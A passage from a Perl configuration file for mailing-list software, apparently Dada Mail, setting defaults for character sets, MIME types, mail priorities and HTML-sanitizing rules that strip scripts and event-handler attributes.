$FILE_CHMOD //= 0644; $DIR_CHMOD //= 0755; $HTML_CHARSET //= 'UTF-8'; # https://www.w3.org/International/O-charset.html # https://www.w3.org/International/O-HTTP-charset @CHARSETS = ( 'UTF-8 UTF-8', 'Afrikaans (af) iso-8859-1', 'Afrikaans (af) windows-1252', 'Albanian (sq) iso-8859-1', 'Albanian (sq) windows-1252', 'Arabic (ar) iso-8859-6', 'Basque (eu) iso-8859-1', 'Basque (eu) windows-1252', 'Bulgarian (bg) iso-8859-5', 'Byelorussian (be) iso-8859-5', 'Catalan (ca) iso-8859-1', 'Catalan (ca) windows-1252', 'Croatian (hr) iso-8859-2', 'Czech (cs) iso-8859-2', 'Danish (da) iso-8859-1', 'Danish (da) windows-1252', 'Dutch (nl) iso-8859-1', 'Dutch (nl) windows-1252', 'English (en) iso-8859-1', 'English (en) windows-1252', 'Esperanto (eo) iso-8859-3', 'Estonian (et) iso-8859-15', 'Faroese (fo) iso-8859-1', 'Faroese (fo) windows-1252', 'Finnish (fi) iso-8859-1', 'Finnish (fi) windows-1252', 'French (fr) iso-8859-1', 'French (fr) windows-1252', 'Galician (gl) iso-8859-1', 'Galician (gl) windows-1252', 'German (de) iso-8859-1', 'German (de) windows-1252', 'Greek (el) iso-8859-7', 'Hebrew (iw) iso-8859-8', 'Hungarian (hu) iso-8859-2', 'Icelandic (is) iso-8859-1', 'Icelandic (is) windows-1252', 'Inuit (Eskimo) iso-8859-10', 'Irish (ga) iso-8859-1', 'Irish (ga) windows-1252', 'Italian (it) iso-8859-1', 'Italian (it) windows-1252', 'Japanese (ja) shift_jis', 'Japanese (ja) iso-2022-jp', 'Japanese (ja) euc-jp', 'Lapp() iso-8859-10', 'Latvian (lv) iso-8859-13', 'Latvian (lv) windows-1257', 'Lithuanian (lt) iso-8859-13', 'Lithuanian (lt) windows-1257', 'Macedonian (mk) iso-8859-5', 'Maltese (mt) iso-8859-3', 'Norwegian (no) iso-8859-1', 'Norwegian (no) windows-1252', 'Polish (pl) iso-8859-2', 'Portuguese (pt) iso-8859-1', 'Portuguese (pt) windows-1252', 'Romanian (ro) iso-8859-2', 'Russian (ru) koi8-r', 'Russian (ru) iso-8859-5', 'Scottish (gd) iso-8859-1', 'Scottish (gd) windows-1252', 'Serbian (sr) iso-8859-5', 'Slovak (sk) iso-8859-2', 'Slovenian (sl) iso-8859-2', 'Spanish (es) iso-8859-1', 'Spanish (es) windows-1252', 'Swedish (sv) iso-8859-1', 'Swedish (sv) windows-1252', 'Thai (th) windows-874', 'Turkish (tr) iso-8859-9', 'Turkish (tr) windows-1254', 'Ukrainian (uk) iso-8859-5' ) unless scalar @CHARSETS; @CONTENT_TYPES = qw( text/plain text/html ) unless scalar @CONTENT_TYPES; %PRIORITIES = ( 'none' => 'Do not set a, "X-Priority" Header.', 5 => 'lowest', 4 => 'low', 3 => 'normal', 2 => 'high', 1 => 'highest', ) unless keys %PRIORITIES; @CONTENT_TRANSFER_ENCODINGS = qw( 7bit 8bit quoted-printable base64 binary ) unless scalar @CONTENT_TRANSFER_ENCODINGS; $HTML_TEXTTOHTML_OPTIONS //= { escape_HTML_chars => 0, # This will also be overridden to, 0 by Dada Mail # BUT! Dada Mail will provide it's own # escape_HTML_chars-like routine }; $HTML_SCRUBBER_OPTIONS //= { rules => [ script => 0, style => 1, ], default => [ 1 => { '*' => 1, # default rule, allow all attributes 'href' => qr{^(?!(?:java)?script)}i, 'src' => qr{^(?!(?:java)?script)}i, 'cite' => '(?i-xsm:^(?!(?:java)?script))', 'language' => 0, 'name' => 1, # could be sneaky, but hey ;) 'onblur' => 0, 'onchange' => 0, 'onclick' => 0, 'ondblclick' => 0, 'onerror' => 0, 'onfocus' => 0, 'onkeydown' => 0, 'onkeypress' => 0, 'onkeyup' => 0, 'onload' => 0, 'onmousedown' => 0, 'onmousemove' => 0, 'onmouseout' => 0, 'onmouseover' => 0, 'onmouseup' => 0, 'onreset' => 0, 'onselect' => 0, 'onsubmit' => 0, 'onunload' => 0, #'src' => 0, # borks images? 'type' => 0, }, ], deny => [ qw( embed object frame iframe meta ) ], comment => 1, process => 0, }; %MIME_TYPES = ( '.gif' => 'image/gif', '.jpg' => 'image/jpg', '.png' => 'image/png', '.jpeg' => 'image/jpeg', '.pdf' => 'application/pdf', '.psd' => 'application/psd', '.html' => 'text/html', '.txt' => 'text/plain', '.doc' => 'application/msword', '.xls' => 'application/x-msexcel', '.ppt' => 'application/x-mspowerpoint', '.mp3' => 'application/octet-stream', '.mov' => 'video/quicktime', ) unless keys %MIME_TYPES; $DEFAULT_MIME_TYPE //= 'application/octet-stream'; $MIME_PARANOID //= 0; $MIME_HUSH //= 0; $MIME_OPTIMIZE = undef; #noop $MIME_TOOLS_PARAMS //= { tmp_to_cor